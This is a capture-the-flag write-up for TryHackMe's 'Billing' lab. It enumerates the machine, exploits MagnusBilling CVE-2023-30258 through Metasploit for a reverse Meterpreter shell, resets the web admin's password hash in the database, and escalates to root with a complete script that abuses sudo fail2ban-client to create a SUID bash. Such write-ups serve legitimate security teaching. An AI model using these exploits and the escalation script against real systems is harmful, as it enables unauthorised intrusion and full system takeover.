Billing - Write-up - TryHackMe

Information

Room#

  • Name: Billing
  • Profile: tryhackme.com
  • Difficulty: Easy
  • Description: Some mistakes can be costly.

Billing

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S nmap nuclei ffuf pass-station metasploit

Goal#

Gain a shell, find the way and escalate your privileges!

Note: Bruteforcing is out of scope for this room.

Network enumeration#

First and foremost, let's add a domain to this machine.

➜ sudoedit /etc/hosts
➜ grep billing /etc/hosts
10.10.15.152 billing.thm

Note: The IP address can change over the write-up if I restarted the machine.

Scan available network services:

# Nmap 7.95 scan initiated Mon Apr 21 21:50:21 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap billing.thm
Nmap scan report for billing.thm (10.10.15.152)
Host is up, received echo-reply ttl 63 (0.48s latency).
Not shown: 64688 closed tcp ports (reset), 843 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http     syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
| http-title:             MagnusBilling
|_Requested resource was http://billing.thm/mbilling/
|_http-server-header: Apache/2.4.56 (Debian)
| http-robots.txt: 1 disallowed entry
|_/mbilling/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
3306/tcp open  mysql    syn-ack ttl 63 MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open  asterisk syn-ack ttl 63 Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 21 21:55:48 2025 -- 1 IP address (1 host up) scanned in 327.01 seconds

The SSH server is probably not the way to get in. The HTTP server is probably the first service to be reviewed. It's interesting to note the database socket is exposed. We can also see a PABX service, which is uncommon.

Web discovery#

The root of the web server redirects to a sub-folder http://billing.thm/mbilling/, which is a login page.

A quick nuclei scan shows nothing special.

nuclei -u http://billing.thm/mbilling/

Web fuzzing#

Let's see if we can detect something more spicy.

ffuf -u http://billing.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
index.php               [Status: 302, Size: 1, Words: 1, Lines: 2, Duration: 58ms]
robots.txt              [Status: 200, Size: 37, Words: 3, Lines: 5, Duration: 51ms]
[…]
ffuf -u http://billing.thm/mbilling/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]
cron.php                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 55ms]
index.php               [Status: 200, Size: 663, Words: 46, Lines: 1, Duration: 70ms]
index.html              [Status: 200, Size: 30760, Words: 1501, Lines: 137, Duration: 67ms]
[…]
ffuf -u http://billing.thm/mbilling/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]
lib                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 53ms]
assets                  [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 59ms]
archive                 [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 47ms]
resources               [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 154ms]
protected               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 65ms]
tmp                     [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 2856ms]
fpdf                    [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 89ms]

Directory listing is enabled, but there is nothing much to see.

Asterisk Call Manager discovery#

As we didn't find much, at first glance, on the web server, maybe it's better to target the Asterisk Call Manager for now as it is unusual to see one.

Searching internet for resources, I found :

With pass-station, I found some generic default credentials for Asterisk products.

➜ pass-station search 'Asterisk'
+---------------+----------+----------+
| productvendor | username | password |
+---------------+----------+----------+
| Asterisk      | Admin    | admin    |
+---------------+----------+----------+

It's worth the try.

Let's try with the default credentials from MSF (admin / amp111) and with the one in pass-station (Admin / admin).

➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; run"
[…]
[*] Running module against 10.10.15.152
[*] 10.10.15.152:5038 - Found Asterisk Call Manager version 2.10.6
[-] 10.10.15.152:5038 - Auxiliary aborted due to failure: no-access: Authentication failed
[*] Auxiliary module execution completed

➜ msfconsole -x "use auxiliary/gather/asterisk_creds; set rhost billing.thm; set username Admin; set password admin; run"
[…]
[*] Running module against 10.10.15.152
[-] 10.10.15.152:5038 - The connection was refused by the remote host (10.10.15.152:5038).
[*] Auxiliary module execution completed

But after one tentative, we have new connections refused. After restarting the machine and user the second set of credentials, I got the same behavior. It seems the exploit makes the machine crash.

MagnusBilling exploitation#

If we search for mbilling, we find that MagnusBilling is a free billing OpenSource to Asterisk.

Searching in metasploit directly, we find there is an exploit for CVE-2023-30258.

➜ msfconsole -x 'search name:MagnusBilling'
[…]
Matching Modules
================

   #  Name                                                        Disclosure Date  Rank       Check  Description
   -  ----                                                        ---------------  ----       -----  -----------
   0  exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258  2023-06-26       excellent  Yes    MagnusBilling application unauthenticated Remote Command Execution.
   1    \_ target: PHP                                            .                .          .      .
   2    \_ target: Unix Command                                   .                .          .      .
   3    \_ target: Linux Dropper

Exploitation works!

msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > run
[*] Started reverse TCP handler on 10.21.34.47:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.10.214.103:80 can be exploited.
[*] Performing command injection test issuing a sleep command of 5 seconds.
[*] Elapsed time: 5.21 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing PHP for php/meterpreter/reverse_tcp
[*] Sending stage (40004 bytes) to 10.10.214.103
[+] Deleted nDwBQcotUgsKa.php
[*] Meterpreter session 1 opened (10.21.34.47:4444 -> 10.10.214.103:49204) at 2025-04-26 19:24:10 +0200

Shell works, let's upgrade it to a fully interactive TTY.

meterpreter > shell
Process 1671 created.
Channel 0 created.
id
uid=1001(asterisk) gid=1001(asterisk) groups=1001(asterisk)
pwd
/var/www/html/mbilling/lib/icepay
python3 -c 'import pty; pty.spawn("/bin/bash")'
asterisk@Billing:/var/www/html/mbilling/lib/icepay$

System reconnaissance#

There are no credentials stored in /var/www/html/mbilling/protected/config/ but from those files we can learn an INI file is loaded from /etc/asterisk/res_config_mysql.conf.

asterisk@Billing:/var/www/html/mbilling$ ls -lh protected/config/
cctotal 16K
-r-xr-xr-x 1 root root 2.7K Sep 12  2024 cron_production.php
-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main.php
-r-xr-xr-x 1 root root 3.3K Sep 12  2024 main_production.php
-r-xr-xr-x 1 root root  759 Sep 12  2024 permissions.php

asterisk@Billing:/var/www/html/mbilling$ cat /etc/asterisk/res_config_mysql.conf
[general]
dbhost = 127.0.0.1
dbname = mbilling
dbuser = edited
dbpass = edited

MariaDB exploration#

We can't connect from the exposed 3306 port, we'll have to connect locally.

asterisk@Billing:/$ mysql -H mbilling -u mbillingUser -p
Enter password:
[…]
Server version: 10.5.23-MariaDB-0+deb11u1 Debian 11
[…]
MariaDB [mbilling]> SHOW TABLES;
<TABLE BORDER=1><TR><TH>Tables_in_mbilling</TH></TR><TR><TD>pkg_alarm</TD></TR>[…]
MariaDB [mbilling]> pager less -S;
PAGER set to 'less -S'
MariaDB [mbilling]> SHOW TABLES;
WARNING: terminal is not fully functional
-  (press RETURN)

But since the pager is not working properly in our shell, the output is in HTML which is quite hard to read.

SHOW TABLES one rendered in HTML shows there a table named pkg_user.

SELECT * FROM pkg_user; shows there is only one user named root with a SHA1 hash password. A quick hit on CrackStation gave nothing, but fortunately, while I was looking for the hash format in the source code, I found this documentation that reminded me I can just change it.

UPDATE pkg_user SET password = SHA1("magnus") WHERE username = "root";

So I can connect to the WebUI using root / magnus. But I don't think we'll get anything from it.

Back to system reconnaissance#

There is a user named magnus that has a shell.

asterisk@Billing:/$ grep '/bin/bash' /etc/passwd
root:x:0:0:root:/root:/bin/bash
magnus:x:1000:1000:magnus,,,:/home/magnus:/bin/bash
asterisk@Billing:/home/magnus$ ls -lhA
total 68K
lrwxrwxrwx  1 root   root      9 Mar 27  2024 .bash_history -> /dev/null
-rw-------  1 magnus magnus  220 Mar 27  2024 .bash_logout
-rw-------  1 magnus magnus 3.5K Mar 27  2024 .bashrc
drwx------ 10 magnus magnus 4.0K Sep  9  2024 .cache
drwx------ 11 magnus magnus 4.0K Mar 27  2024 .config
drwx------  3 magnus magnus 4.0K Sep  9  2024 .gnupg
drwx------  3 magnus magnus 4.0K Mar 27  2024 .local
-rwx------  1 magnus magnus  807 Mar 27  2024 .profile
drwx------  2 magnus magnus 4.0K Mar 27  2024 .ssh
drwx------  2 magnus magnus 4.0K Mar 27  2024 Desktop
drwx------  2 magnus magnus 4.0K Mar 27  2024 Documents
drwx------  2 magnus magnus 4.0K Mar 27  2024 Downloads
drwx------  2 magnus magnus 4.0K Mar 27  2024 Music
drwx------  2 magnus magnus 4.0K Mar 27  2024 Pictures
drwx------  2 magnus magnus 4.0K Mar 27  2024 Public
drwx------  2 magnus magnus 4.0K Mar 27  2024 Templates
drwx------  2 magnus magnus 4.0K Mar 27  2024 Videos
-rw-r--r--  1 magnus magnus   38 Mar 27  2024 user.txt

asterisk@Billing:/home/magnus$ cat user.txt
THM{edited}

Elevation of Privileges (EoP)#

It seems asterisk user can run fail2ban-client as root.

asterisk@Billing:/$ sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

This article explains how to EoP by tempering the F2B configuration so that it loads attacker controlled code. We'll create a SUID shell that way.

TD_conf=$(mktemp -d)
rsync -av /etc/fail2ban/ $TD_conf

TD_exploit=$(mktemp -d)
cat > $TD_exploit/exploit <<EOF
#!/bin/sh
cp /bin/bash $TD_exploit/bash
chmod 755 $TD_exploit/bash
chmod u+s $TD_exploit/bash
EOF
chmod +x $TD_exploit/exploit

cat > $TD_conf/action.d/custom-start-command.conf <<EOF
[Definition]
actionstart = $TD_exploit/exploit
EOF

cat >> $TD_conf/jail.local <<EOF
[my-custom-jail]
enabled = true
action = custom-start-command
EOF

cat > $TD_conf/filter.d/my-custom-jail.conf <<EOF
[Definition]
EOF

sudo /usr/bin/fail2ban-client -c $TD_conf -v restart

$TD_exploit/bash -p

By the way I PRed to add this technique to GTFOBins.

We get a root shell:

bash-5.1# id
uid=1001(asterisk) gid=1001(asterisk) euid=0(root) groups=1001(asterisk)

bash-5.1# cat /root/root.txt
THM{edited}
Share